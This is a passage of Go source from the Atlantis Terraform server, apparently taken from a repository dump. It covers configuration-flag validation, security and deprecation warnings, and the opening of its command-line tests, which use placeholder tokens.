CheckoutStrategyMerge {\n\t\treturn fmt.Errorf(\"invalid checkout strategy: not one of %s or %s\",\n\t\t\tCheckoutStrategyBranch, CheckoutStrategyMerge)\n\t}\n\n\tif (userConfig.SSLKeyFile == \"\") != (userConfig.SSLCertFile == \"\") {\n\t\treturn fmt.Errorf(\"--%s and --%s are both required for ssl\", SSLKeyFileFlag, SSLCertFileFlag)\n\t}\n\n\t// The following combinations are valid.\n\t// 1. github user and (token or token file)\n\t// 2. github app ID and (key file set or key set)\n\t// 3. gitea user and token set\n\t// 4. gitlab user and token set\n\t// 5. bitbucket user and token set\n\t// 6. azuredevops user and token set\n\t// 7. any combination of the above\n\tvcsErr := fmt.Errorf(\"--%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s must be set\", GHUserFlag, GHTokenFlag, GHUserFlag, GHTokenFileFlag, GHAppIDFlag, GHAppKeyFileFlag, GHAppIDFlag, GHAppKeyFlag, GiteaUserFlag, GiteaTokenFlag, GitlabUserFlag, GitlabTokenFlag, BitbucketUserFlag, BitbucketTokenFlag, ADUserFlag, ADTokenFlag)\n\tif ((userConfig.GiteaUser == \"\") != (userConfig.GiteaToken == \"\")) ||\n\t\t((userConfig.GitlabUser == \"\") != (userConfig.GitlabToken == \"\")) ||\n\t\t((userConfig.BitbucketUser == \"\") != (userConfig.BitbucketToken == \"\")) ||\n\t\t((userConfig.AzureDevopsUser == \"\") != (userConfig.AzureDevopsToken == \"\")) {\n\t\treturn vcsErr\n\t}\n\tif userConfig.GithubUser != \"\" {\n\t\tif (userConfig.GithubToken == \"\") == (userConfig.GithubTokenFile == \"\") {\n\t\t\treturn vcsErr\n\t\t}\n\t}\n\tif userConfig.GithubAppID != 0 {\n\t\tif (userConfig.GithubAppKey == \"\") == (userConfig.GithubAppKeyFile == \"\") {\n\t\t\treturn vcsErr\n\t\t}\n\t}\n\t// At this point, we know that there can't be a single user/token without\n\t// its partner, but we haven't checked if any user/token is set at all.\n\tif userConfig.GithubAppID == 0 && userConfig.GithubUser == \"\" && userConfig.GiteaUser == \"\" && userConfig.GitlabUser == \"\" && userConfig.BitbucketUser == \"\" && userConfig.AzureDevopsUser == \"\" {\n\t\treturn vcsErr\n\t}\n\n\tif userConfig.RepoAllowlist == \"\" {\n\t\treturn fmt.Errorf(\"--%s must be set for security purposes\", RepoAllowlistFlag)\n\t}\n\tif strings.Contains(userConfig.RepoAllowlist, \"://\") {\n\t\treturn fmt.Errorf(\"--%s cannot contain ://, should be hostnames only\", RepoAllowlistFlag)\n\t}\n\n\tparsed, err := url.Parse(userConfig.BitbucketBaseURL)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error parsing --%s flag value %q: %s\", BitbucketWebhookSecretFlag, userConfig.BitbucketBaseURL, err)\n\t}\n\tif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n\t\treturn fmt.Errorf(\"--%s must have http:// or https://, got %q\", BitbucketBaseURLFlag, userConfig.BitbucketBaseURL)\n\t}\n\n\tparsed, err = url.Parse(userConfig.GiteaBaseURL)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error parsing --%s flag value %q: %s\", GiteaWebhookSecretFlag, userConfig.GiteaBaseURL, err)\n\t}\n\tif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n\t\treturn fmt.Errorf(\"--%s must have http:// or https://, got %q\", GiteaBaseURLFlag, userConfig.GiteaBaseURL)\n\t}\n\n\tif userConfig.RepoConfig != \"\" && userConfig.RepoConfigJSON != \"\" {\n\t\treturn fmt.Errorf(\"cannot use --%s and --%s at the same time\", RepoConfigFlag, RepoConfigJSONFlag)\n\t}\n\n\t// Warn if any tokens have newlines.\n\tfor name, token := range map[string]string{\n\t\tGHTokenFlag:                userConfig.GithubToken,\n\t\tGHTokenFileFlag:            userConfig.GithubTokenFile,\n\t\tGHWebhookSecretFlag:        userConfig.GithubWebhookSecret,\n\t\tGitlabTokenFlag:            userConfig.GitlabToken,\n\t\tGitlabWebhookSecretFlag:    userConfig.GitlabWebhookSecret,\n\t\tBitbucketTokenFlag:         userConfig.BitbucketToken,\n\t\tBitbucketWebhookSecretFlag: userConfig.BitbucketWebhookSecret,\n\t\tGiteaTokenFlag:             userConfig.GiteaToken,\n\t\tGiteaWebhookSecretFlag:     userConfig.GiteaWebhookSecret,\n\t} {\n\t\tif strings.Contains(token, \"\\n\") {\n\t\t\ts.Logger.Warn(\"--%s contains a newline which is usually unintentional\", name)\n\t\t}\n\t}\n\n\tif userConfig.TFEHostname != DefaultTFEHostname && userConfig.TFEToken == \"\" {\n\t\treturn fmt.Errorf(\"if setting --%s, must set --%s\", TFEHostnameFlag, TFETokenFlag)\n\t}\n\n\t_, patternErr := patternmatcher.New(strings.Split(userConfig.AutoplanFileList, \",\"))\n\tif patternErr != nil {\n\t\treturn fmt.Errorf(\"invalid pattern in --%s, %s: %w\", AutoplanFileListFlag, userConfig.AutoplanFileList, patternErr)\n\t}\n\n\tif _, err := userConfig.ToAllowCommandNames(); err != nil {\n\t\treturn fmt.Errorf(\"invalid --%s: %w\", AllowCommandsFlag, err)\n\t}\n\n\tif _, err := userConfig.ToWebhookHttpHeaders(); err != nil {\n\t\treturn fmt.Errorf(\"invalid --%s: %w\", WebhookHttpHeaders, err)\n\t}\n\n\treturn nil\n}\n\n// setAtlantisURL sets the externally accessible URL for atlantis.\nfunc (s *ServerCmd) setAtlantisURL(userConfig *server.UserConfig) error {\n\tif userConfig.AtlantisURL == \"\" {\n\t\thostname, err := os.Hostname()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to determine hostname: %w\", err)\n\t\t}\n\t\tuserConfig.AtlantisURL = fmt.Sprintf(\"http://%s:%d\", hostname, userConfig.Port)\n\t}\n\treturn nil\n}\n\n// setDataDir checks if ~ was used in data-dir and converts it to the actual\n// home directory. If we don't do this, we'll create a directory called \"~\"\n// instead of actually using home. It also converts relative paths to absolute.\nfunc (s *ServerCmd) setDataDir(userConfig *server.UserConfig) error {\n\tfinalPath := userConfig.DataDir\n\n\t// Convert ~ to the actual home dir.\n\tif strings.HasPrefix(finalPath, \"~/\") {\n\t\tvar err error\n\t\tfinalPath, err = homedir.Expand(finalPath)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"determining home directory: %w\", err)\n\t\t}\n\t}\n\n\t// Convert relative paths to absolute.\n\tfinalPath, err := filepath.Abs(finalPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"making data-dir absolute: %w\", err)\n\t}\n\tuserConfig.DataDir = finalPath\n\treturn nil\n}\n\n// setMarkdownTemplateOverridesDir checks if ~ was used in markdown-template-overrides-dir and converts it to the actual\n// home directory. If we don't do this, we'll create a directory called \"~\"\n// instead of actually using home. It also converts relative paths to absolute.\nfunc (s *ServerCmd) setMarkdownTemplateOverridesDir(userConfig *server.UserConfig) error {\n\tfinalPath := userConfig.MarkdownTemplateOverridesDir\n\n\t// Convert ~ to the actual home dir.\n\tif strings.HasPrefix(finalPath, \"~/\") {\n\t\tvar err error\n\t\tfinalPath, err = homedir.Expand(finalPath)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"determining home directory: %w\", err)\n\t\t}\n\t}\n\n\t// Convert relative paths to absolute.\n\tfinalPath, err := filepath.Abs(finalPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"making markdown-template-overrides-dir absolute: %w\", err)\n\t}\n\tuserConfig.MarkdownTemplateOverridesDir = finalPath\n\treturn nil\n}\n\n// setVarFileAllowlist checks if var-file-allowlist is unassigned and makes it default to data-dir for better backward\n// compatibility.\nfunc (s *ServerCmd) setVarFileAllowlist(userConfig *server.UserConfig) {\n\tif userConfig.VarFileAllowlist == \"\" {\n\t\tuserConfig.VarFileAllowlist = userConfig.DataDir\n\t}\n}\n\n// trimAtSymbolFromUsers trims @ from the front of the github and gitlab usernames\nfunc (s *ServerCmd) trimAtSymbolFromUsers(userConfig *server.UserConfig) {\n\tuserConfig.GithubUser = strings.TrimPrefix(userConfig.GithubUser, \"@\")\n\tuserConfig.GiteaUser = strings.TrimPrefix(userConfig.GiteaUser, \"@\")\n\tuserConfig.GitlabUser = strings.TrimPrefix(userConfig.GitlabUser, \"@\")\n\tuserConfig.BitbucketUser = strings.TrimPrefix(userConfig.BitbucketUser, \"@\")\n\tuserConfig.AzureDevopsUser = strings.TrimPrefix(userConfig.AzureDevopsUser, \"@\")\n}\n\nfunc (s *ServerCmd) securityWarnings(userConfig *server.UserConfig) {\n\tif userConfig.GithubUser != \"\" && userConfig.GithubWebhookSecret == \"\" && !s.SilenceOutput {\n\t\ts.Logger.Warn(\"no GitHub webhook secret set. This could allow attackers to spoof requests from GitHub\")\n\t}\n\tif userConfig.GiteaUser != \"\" && userConfig.GiteaWebhookSecret == \"\" && !s.SilenceOutput {\n\t\ts.Logger.Warn(\"no Gitea webhook secret set. This could allow attackers to spoof requests from Gitea\")\n\t}\n\tif userConfig.GitlabUser != \"\" && userConfig.GitlabWebhookSecret == \"\" && !s.SilenceOutput {\n\t\ts.Logger.Warn(\"no GitLab webhook secret set. This could allow attackers to spoof requests from GitLab\")\n\t}\n\tif userConfig.BitbucketUser != \"\" && userConfig.BitbucketBaseURL != DefaultBitbucketBaseURL && userConfig.BitbucketWebhookSecret == \"\" && !s.SilenceOutput {\n\t\ts.Logger.Warn(\"no Bitbucket webhook secret set. This could allow attackers to spoof requests from Bitbucket\")\n\t}\n\tif userConfig.AzureDevopsWebhookUser != \"\" && userConfig.AzureDevopsWebhookPassword == \"\" && !s.SilenceOutput {\n\t\ts.Logger.Warn(\"no Azure DevOps webhook user and password set. This could allow attackers to spoof requests from Azure DevOps.\")\n\t}\n}\n\n// deprecationWarnings prints a warning if flags that are deprecated are\n// being used.\nfunc (s *ServerCmd) deprecationWarnings(userConfig *server.UserConfig) error {\n\tvar deprecatedFlags []string\n\n\t// Currently there are no deprecated flags; if flags become deprecated, add them here like so\n\t//       if userConfig.SomeDeprecatedFlag {\n\t//               deprecatedFlags = append(deprecatedFlags, SomeDeprecatedFlag)\n\t//       }\n\t//\n\n\tif userConfig.TFDistribution != \"\" {\n\t\tdeprecatedFlags = append(deprecatedFlags, TFDistributionFlag)\n\t}\n\n\tif len(deprecatedFlags) > 0 {\n\t\twarning := \"WARNING: \"\n\t\tif len(deprecatedFlags) == 1 {\n\t\t\twarning += fmt.Sprintf(\"Flag --%s has been deprecated.\", deprecatedFlags[0])\n\t\t} else {\n\t\t\twarning += fmt.Sprintf(\"Flags --%s and --%s have been deprecated.\", strings.Join(deprecatedFlags[0:len(deprecatedFlags)-1], \", --\"), deprecatedFlags[len(deprecatedFlags)-1:][0])\n\t\t}\n\t\tfmt.Println(warning)\n\t}\n\n\treturn nil\n}\n\n// withErrPrint prints out any cmd errors to stderr.\nfunc (s *ServerCmd) withErrPrint(f func(*cobra.Command, []string) error) func(*cobra.Command, []string) error {\n\treturn func(cmd *cobra.Command, args []string) error {\n\t\terr := f(cmd, args)\n\t\tif err != nil && !s.SilenceOutput {\n\t\t\ts.printErr(err)\n\t\t}\n\t\treturn err\n\t}\n}\n\n// printErr prints err to stderr using a red terminal colour.\nfunc (s *ServerCmd) printErr(err error) {\n\tfmt.Fprintf(os.Stderr, \"%sError: %s%s\\n\", \"\\033[31m\", err.Error(), \"\\033[39m\")\n}\n\nfunc isValidLogLevel(level string) bool {\n\treturn slices.Contains(ValidLogLevels, level)\n}\n"
  },
  {
    "path": "cmd/server_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage cmd\n\nimport (\n\t\"bufio\"\n\t\"cmp\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"slices\"\n\t\"strings\"\n\t\"testing\"\n\n\thomedir \"github.com/mitchellh/go-homedir\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\t\"gopkg.in/yaml.v3\"\n\n\t\"github.com/runatlantis/atlantis/server\"\n\tgithubtestdata \"github.com/runatlantis/atlantis/server/events/vcs/github/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// passedConfig is set to whatever config ended up being passed to NewServer.\n// Used for testing.\nvar passedConfig server.UserConfig\n\ntype ServerCreatorMock struct{}\n\nfunc (s *ServerCreatorMock) NewServer(userConfig server.UserConfig, _ server.Config) (ServerStarter, error) {\n\tpassedConfig = userConfig\n\treturn &ServerStarterMock{}, nil\n}\n\ntype ServerStarterMock struct{}\n\nfunc (s *ServerStarterMock) Start() error {\n\treturn nil\n}\n\n// Adding a new flag? Add it to this slice for testing in alphabetical\n// order.\nvar testFlags = map[string]any{\n\tADHostnameFlag:                   \"dev.azure.com\",\n\tADTokenFlag:                      \"ad-token\",\n\tADUserFlag:                       \"ad-user\",\n\tADWebhookPasswordFlag:            \"ad-wh-pass\",\n\tADWebhookUserFlag:                \"ad-wh-user\",\n\tAtlantisURLFlag:                  \"url\",\n\tAutoplanModules:                  false,\n\tAutoplanModulesFromProjects:      \"\",\n\tAllowCommandsFlag:                \"version,plan,apply,unlock,import,approve_policies\",\n\tAllowForkPRsFlag:                 true,\n\tAPISecretFlag:                    \"\",\n\tAutoDiscoverModeFlag:             \"auto\",\n\tAutomergeFlag:                    true,\n\tAutoplanFileListFlag:             \"**/*.tf,**/*.yml\",\n\tBitbucketApiUserFlag:             \"bitbucket-api-user\",\n\tBitbucketBaseURLFlag:             \"https://bitbucket-base-url.com\",\n\tBitbucketTokenFlag:               \"bitbucket-token\",\n\tBitbucketUserFlag:                \"bitbucket-user\",\n\tBitbucketWebhookSecretFlag:       \"bitbucket-secret\",\n\tCheckoutStrategyFlag:             CheckoutStrategyMerge,\n\tCheckoutDepthFlag:                0,\n\tDataDirFlag:                      \"/path\",\n\tDefaultTFDistributionFlag:        \"terraform\",\n\tDefaultTFVersionFlag:             \"v0.11.0\",\n\tDisableApplyAllFlag:              true,\n\tDisableMarkdownFoldingFlag:       true,\n\tDisableRepoLockingFlag:           true,\n\tDisableGlobalApplyLockFlag:       false,\n\tDiscardApprovalOnPlanFlag:        true,\n\tEmojiReaction:                    \"eyes\",\n\tExecutableName:                   \"atlantis\",\n\tFailOnPreWorkflowHookError:       false,\n\tGHAllowMergeableBypassApply:      false,\n\tGHHostnameFlag:                   \"ghhostname\",\n\tGHTeamAllowlistFlag:              \"\",\n\tGHTokenFlag:                      \"token\",\n\tGHTokenFileFlag:                  \"\",\n\tGHUserFlag:                       \"user\",\n\tGHAppIDFlag:                      int64(0),\n\tGHAppKeyFlag:                     \"\",\n\tGHAppKeyFileFlag:                 \"\",\n\tGHAppSlugFlag:                    \"atlantis\",\n\tGHAppInstallationIDFlag:          int64(0),\n\tGHOrganizationFlag:               \"\",\n\tGHWebhookSecretFlag:              \"secret\",\n\tGiteaBaseURLFlag:                 \"http://localhost\",\n\tGiteaTokenFlag:                   \"gitea-token\",\n\tGiteaUserFlag:                    \"gitea-user\",\n\tGiteaWebhookSecretFlag:           \"gitea-secret\",\n\tGiteaPageSizeFlag:                30,\n\tGitlabGroupAllowlistFlag:         \"\",\n\tGitlabHostnameFlag:               \"gitlab-hostname\",\n\tGitlabTokenFlag:                  \"gitlab-token\",\n\tGitlabUserFlag:                   \"gitlab-user\",\n\tGitlabWebhookSecretFlag:          \"gitlab-secret\",\n\tGitlabStatusRetryEnabledFlag:     false,\n\tHideUnchangedPlanComments:        false,\n\tHidePrevPlanComments:             false,\n\tIncludeGitUntrackedFiles:         false,\n\tLockingDBType:                    \"boltdb\",\n\tLogLevelFlag:                     \"debug\",\n\tMarkdownTemplateOverridesDirFlag: \"/path2\",\n\tMaxCommentsPerCommand:            10,\n\tStatsNamespace:                   \"atlantis\",\n\tAllowDraftPRs:                    true,\n\tPortFlag:                         8181,\n\tParallelPoolSize:                 100,\n\tParallelPlanFlag:                 true,\n\tParallelApplyFlag:                true,\n\tPendingApplyStatusFlag:           false,\n\tQuietPolicyChecks:                false,\n\tRedisHost:                        \"\",\n\tRedisInsecureSkipVerify:          false,\n\tRedisPassword:                    \"\",\n\tRedisPort:                        6379,\n\tRedisTLSEnabled:                  false,\n\tRedisDB:                          0,\n\tRepoAllowlistFlag:                \"github.com/runatlantis/atlantis\",\n\tRepoConfigFlag:                   \"\",\n\tRepoConfigJSONFlag:               \"\",\n\tSilenceNoProjectsFlag:            false,\n\tSilenceVCSStatusNoProjectsFlag:   false,\n\tSilenceForkPRErrorsFlag:          true,\n\tSilenceAllowlistErrorsFlag:       true,\n\tSilenceVCSStatusNoPlans:          true,\n\tSkipCloneNoChanges:               true,\n\tSlackTokenFlag:                   \"slack-token\",\n\tSSLCertFileFlag:                  \"cert-file\",\n\tSSLKeyFileFlag:                   \"key-file\",\n\tRestrictFileList:                 false,\n\tTFDistributionFlag:               \"terraform\",\n\tTFDownloadFlag:                   true,\n\tTFDownloadURLFlag:                \"https://my-hostname.com\",\n\tTFEHostnameFlag:                  \"my-hostname\",\n\tTFELocalExecutionModeFlag:        true,\n\tTFETokenFlag:                     \"my-token\",\n\tUseTFPluginCache:                 true,\n\tVarFileAllowlistFlag:             \"/path\",\n\tVCSStatusName:                    \"my-status\",\n\tIgnoreVCSStatusNames:             \"\",\n\tWebhookHttpHeaders:               `{\"Authorization\":\"Bearer some-token\",\"X-Custom-Header\":[\"value1\",\"value2\"]}`,\n\tWebBasicAuthFlag:                 false,\n\tWebPasswordFlag:                  \"atlantis\",\n\tWebUsernameFlag:                  \"atlantis\",\n\tWebsocketCheckOrigin:             false,\n\tWriteGitCredsFlag:                true,\n\tDisableAutoplanFlag:              true,\n\tDisableAutoplanLabelFlag:         \"no-auto-plan\",\n\tDisableUnlockLabelFlag:           \"do-not-unlock\",\n\tEnablePolicyChecksFlag:           false,\n\tEnableRegExpCmdFlag:              false,\n\tEnableDiffMarkdownFormat:         false,\n\tEnableProfilingAPI:               false,\n}\n\nfunc TestExecute_Defaults(t *testing.T) {\n\tt.Log(\"Should set the defaults for all unspecified flags.\")\n\n\tc := setup(map[string]any{\n\t\tGHUserFlag:        \"user\",\n\t\tGHTokenFlag:       \"token\",\n\t\tGiteaBaseURLFlag:  \"http://localhost\",\n\t\tRepoAllowlistFlag: \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\t// Get our hostname since that's what atlantis-url gets defaulted to.\n\thostname, err := os.Hostname()\n\tOk(t, err)\n\n\t// Get our home dir since that's what data-dir and markdown-template-overrides-dir defaulted to.\n\tdataDir, err := homedir.Expand(\"~/.atlantis\")\n\tOk(t, err)\n\tmarkdownTemplateOverridesDir, err := homedir.Expand(\"~/.markdown_templates\")\n\tOk(t, err)\n\n\tstrExceptions := map[string]string{\n\t\tGHUserFlag:                       \"user\",\n\t\tGHTokenFlag:                      \"token\",\n\t\tGiteaBaseURLFlag:                 \"http://localhost\",\n\t\tDataDirFlag:                      dataDir,\n\t\tMarkdownTemplateOverridesDirFlag: markdownTemplateOverridesDir,\n\t\tAtlantisURLFlag:                  \"http://\" + hostname + \":4141\",\n\t\tRepoAllowlistFlag:                \"*\",\n\t\tVarFileAllowlistFlag:             dataDir,\n\t}\n\tstrIgnore := map[string]bool{\n\t\t\"config\": true,\n\t}\n\tfor flag, cfg := range stringFlags {\n\t\tt.Log(flag)\n\t\tif _, ok := strIgnore[flag]; ok {\n\t\t\tcontinue\n\t\t} else if excep, ok := strExceptions[flag]; ok {\n\t\t\tEquals(t, excep, configVal(t, passedConfig, flag))\n\t\t} else {\n\t\t\tEquals(t, cfg.defaultValue, configVal(t, passedConfig, flag))\n\t\t}\n\t}\n\tfor flag, cfg := range boolFlags {\n\t\tt.Log(flag)\n\t\tEquals(t, cfg.defaultValue, configVal(t, passedConfig, flag))\n\t}\n\tfor flag, cfg := range intFlags {\n\t\tt.Log(flag)\n\t\tEquals(t, cfg.defaultValue, configVal(t, passedConfig, flag))\n\t}\n}\n\nfunc TestExecute_Flags(t *testing.T) {\n\tt.Log(\"Should use all flags that are set.\")\n\tc := setup(testFlags, t)\n\terr := c.Execute()\n\tOk(t, err)\n\tfor flag, exp := range testFlags {\n\t\tEquals(t, exp, configVal(t, passedConfig, flag))\n\t}\n}\n\nfunc getUserConfigKeysWithFlags() []string {\n\tvar ret []string\n\tu := reflect.TypeFor[server.UserConfig]()\n\n\tfor i := 0; i < u.NumField(); i++ {\n\n\t\tuserConfigKey := u.Field(i).Tag.Get(\"mapstructure\")\n\t\t// By default, we expect all fields in UserConfig to have flags defined in server.go and tested here in server_test.go\n\t\t// Some fields are too complicated to have flags, so are only expressible in the config yaml\n\t\tflagKey := u.Field(i).Tag.Get(\"flag\")\n\t\tif flagKey == \"false\" {\n\t\t\tcontinue\n\t\t}\n\t\tret = append(ret, userConfigKey)\n\n\t}\n\treturn ret\n\n}\n\nfunc TestUserConfigAllTested(t *testing.T) {\n\tt.Log(\"All settings in userConfig should be tested.\")\n\n\tfor _, userConfigKey := range getUserConfigKeysWithFlags() {\n\n\t\tt.Run(userConfigKey, func(t *testing.T) {\n\t\t\t// If a setting is configured in server.UserConfig, it should be tested here. If there is no corresponding const\n\t\t\t// for specifying the flag, that probably means one *also* needs to be added to server.go\n\t\t\tif _, ok := testFlags[userConfigKey]; !ok {\n\t\t\t\tt.Errorf(\"server.UserConfig has field with mapstructure %s that is not tested, and potentially also not configured as a flag. Either add it to testFlags (and potentially as a const in cmd/server), or remove it from server.UserConfig\", userConfigKey)\n\t\t\t}\n\t\t})\n\n\t}\n\n}\n\nfunc getDocumentedFlags(t *testing.T) []string {\n\n\tvar ret []string\n\tdocFile := \"../runatlantis.io/docs/server-configuration.md\"\n\n\tfile, err := os.Open(docFile)\n\tOk(t, err)\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tif !strings.HasPrefix(line, \"### \") {\n\t\t\tcontinue\n\t\t}\n\t\tsplit := strings.Split(line, \"`\")\n\t\tif len(split) != 3 {\n\t\t\tt.Errorf(\"Unexpected line in %s: %s\", docFile, line)\n\t\t\tcontinue\n\t\t}\n\t\tflag := split[1]\n\t\tif !strings.HasPrefix(flag, \"--\") {\n\t\t\tt.Errorf(\"Unexpected line in %s: %s\", docFile, line)\n\t\t\tcontinue\n\t\t}\n\t\tflag = strings.TrimPrefix(flag, \"--\")\n\t\tret = append(ret, flag)\n\t}\n\n\terr = scanner.Err()\n\tOk(t, err)\n\n\treturn ret\n}\n\nfunc testIsSorted[S ~[]E, E cmp.Ordered](t *testing.T, x S) {\n\t// TODO: This is n^2, probably a better algorithm for this\n\t// Also, this works best for lists that are mostly sorted, if the whole thing is wrong, it's just\n\t// going to say that every individual element is out of order\n\tfor i, elem := range x {\n\t\tfor j, compareTo := range x {\n\t\t\tif i == j {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif i > j && cmp.Less(elem, compareTo) {\n\t\t\t\tt.Errorf(\"%v is out of order (should be before %v)\", elem, compareTo)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif i < j && cmp.Less(compareTo, elem) {\n\t\t\t\tt.Errorf(\"%v is out of order (should be after %v)\", elem, compareTo)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestAllFlagsDocumented(t *testing.T) {\n\t// This is not a unit test per se, but is a helpful way of making sure when flags are added/removed\n\t// the corresponding documentation is kept up-to-date.\n\tt.Log(\"All flags in userConfig should have documentation in server-configuration.md.\")\n\n\tuserConfigKeys := getUserConfigKeysWithFlags()\n\tdocumentedFlags := getDocumentedFlags(t)\n\n\ttestIsSorted(t, documentedFlags)\n\tslices.Sort(userConfigKeys)\n\tslices.Sort(documentedFlags)\n\n\tfor _, userConfigKey := range userConfigKeys {\n\t\t_, found := slices.BinarySearch(documentedFlags, userConfigKey)\n\t\tif !found {\n\t\t\tt.Errorf(\"Found undocumented config key: %s\", userConfigKey)\n\t\t}\n\t}\n\n\tfor _, documentedFlag := range documentedFlags {\n\t\t// --help and --config are documented but don't have a setting on userConfig\n\t\tif documentedFlag == \"help\" || documentedFlag == \"config\" {\n\t\t\tcontinue\n\t\t}\n\t\t_, found := slices.BinarySearch(userConfigKeys, documentedFlag)\n\t\tif !found {\n\t\t\tt.Errorf(\"Found documentation for flag that doesn't exist: %s\", documentedFlag)\n\t\t}\n\t}\n\n}\n\nfunc TestExecute_ConfigFile(t *testing.T) {\n\tt.Log(\"Should use all the values from the config file.\")\n\t// Use yaml package to quote values that need quoting\n\tcfgContents, yamlErr := yaml.Marshal(&testFlags)\n\tOk(t, yamlErr)\n\ttmpFile := tempFile(t, string(cfgContents))\n\tdefer os.Remove(tmpFile) // nolint: errcheck\n\tc := setup(map[string]any{\n\t\tConfigFlag: tmpFile,\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\tfor flag, exp := range testFlags {\n\t\tEquals(t, exp, configVal(t, passedConfig, flag))\n\t}\n}\n\nfunc TestExecute_EnvironmentVariables(t *testing.T) {\n\tt.Log(\"Environment variables should work.\")\n\tfor flag, value := range testFlags {\n\t\tenvKey := \"ATLANTIS_\" + strings.ToUpper(strings.ReplaceAll(flag, \"-\", \"_\"))\n\t\tos.Setenv(envKey, fmt.Sprintf(\"%v\", value)) // nolint: errcheck\n\t\tdefer func(key string) { os.Unsetenv(key) }(envKey)\n\t}\n\tc := setup(nil, t)\n\terr := c.Execute()\n\tOk(t, err)\n\tfor flag, exp := range testFlags {\n\t\tEquals(t, exp, configVal(t, passedConfig, flag))\n\t}\n}\n\nfunc TestExecute_NoConfigFlag(t *testing.T) {\n\tt.Log(\"If there is no config flag specified Execute should return nil.\")\n\tc := setupWithDefaults(map[string]any{\n\t\tConfigFlag: \"\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n}\n\nfunc TestExecute_ConfigFileExtension(t *testing.T) {\n\tt.Log(\"If the config file doesn't have an extension then error.\")\n\tc := setupWithDefaults(map[string]any{\n\t\tConfigFlag: \"does-not-exist\",\n\t}, t)\n\terr := c.Execute()\n\tEquals(t, \"invalid config: reading does-not-exist: Unsupported Config Type \\\"\\\"\", err.Error())\n}\n\nfunc TestExecute_ConfigFileMissing(t *testing.T) {\n\tt.Log(\"If the config file doesn't exist then error.\")\n\tc := setupWithDefaults(map[string]any{\n\t\tConfigFlag: \"does-not-exist.yaml\",\n\t}, t)\n\terr := c.Execute()\n\tEquals(t, \"invalid config: reading does-not-exist.yaml: open does-not-exist.yaml: no such file or directory\", err.Error())\n}\n\nfunc TestExecute_ConfigFileExists(t *testing.T) {\n\tt.Log(\"If the config file exists then there should be no error.\")\n\ttmpFile := tempFile(t, \"\")\n\tdefer os.Remove(tmpFile) // nolint: errcheck\n\tc := setupWithDefaults(map[string]any{\n\t\tConfigFlag: tmpFile,\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n}\n\nfunc TestExecute_InvalidConfig(t *testing.T) {\n\tt.Log(\"If the config file contains invalid yaml there should be an error.\")\n\ttmpFile := tempFile(t, \"invalidyaml\")\n\tdefer os.Remove(tmpFile) // nolint: errcheck\n\tc := setupWithDefaults(map[string]any{\n\t\tConfigFlag: tmpFile,\n\t}, t)\n\terr := c.Execute()\n\tAssert(t, strings.Contains(err.Error(), \"unmarshal errors\"), \"should be an unmarshal error\")\n}\n\n// Should error if the repo allowlist contained a scheme.\nfunc TestExecute_RepoAllowlistScheme(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tGHUserFlag:        \"user\",\n\t\tGHTokenFlag:       \"token\",\n\t\tRepoAllowlistFlag: \"http://github.com/*\",\n\t}, t)\n\terr := c.Execute()\n\tAssert(t, err != nil, \"should be an error\")\n\tEquals(t, \"--repo-allowlist cannot contain ://, should be hostnames only\", err.Error())\n}\n\nfunc TestExecute_ValidateLogLevel(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tflags       map[string]any\n\t\texpectError bool\n\t}{\n\t\t{\n\t\t\t\"log level is invalid\",\n\t\t\tmap[string]any{\n\t\t\t\tLogLevelFlag: \"invalid\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"log level is valid uppercase\",\n\t\t\tmap[string]any{\n\t\t\t\tLogLevelFlag: \"DEBUG\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t}\n\tfor _, testCase := range cases {\n\t\tt.Log(\"Should validate log level when \" + testCase.description)\n\t\tc := setupWithDefaults(testCase.flags, t)\n\t\terr := c.Execute()\n\t\tif testCase.expectError {\n\t\t\tAssert(t, err != nil, \"should be an error\")\n\t\t} else {\n\t\t\tOk(t, err)\n\t\t}\n\t}\n}\n\nfunc TestExecute_ValidateCheckoutStrategy(t *testing.T) {\n\tc := setupWithDefaults(map[string]any{\n\t\tCheckoutStrategyFlag: \"invalid\",\n\t}, t)\n\terr := c.Execute()\n\tErrEquals(t, \"invalid checkout strategy: not one of branch or merge\", err)\n}\n\nfunc TestExecute_ValidateSSLConfig(t *testing.T) {\n\texpErr := \"--ssl-key-file and --ssl-cert-file are both required for ssl\"\n\tcases := []struct {\n\t\tdescription string\n\t\tflags       map[string]any\n\t\texpectError 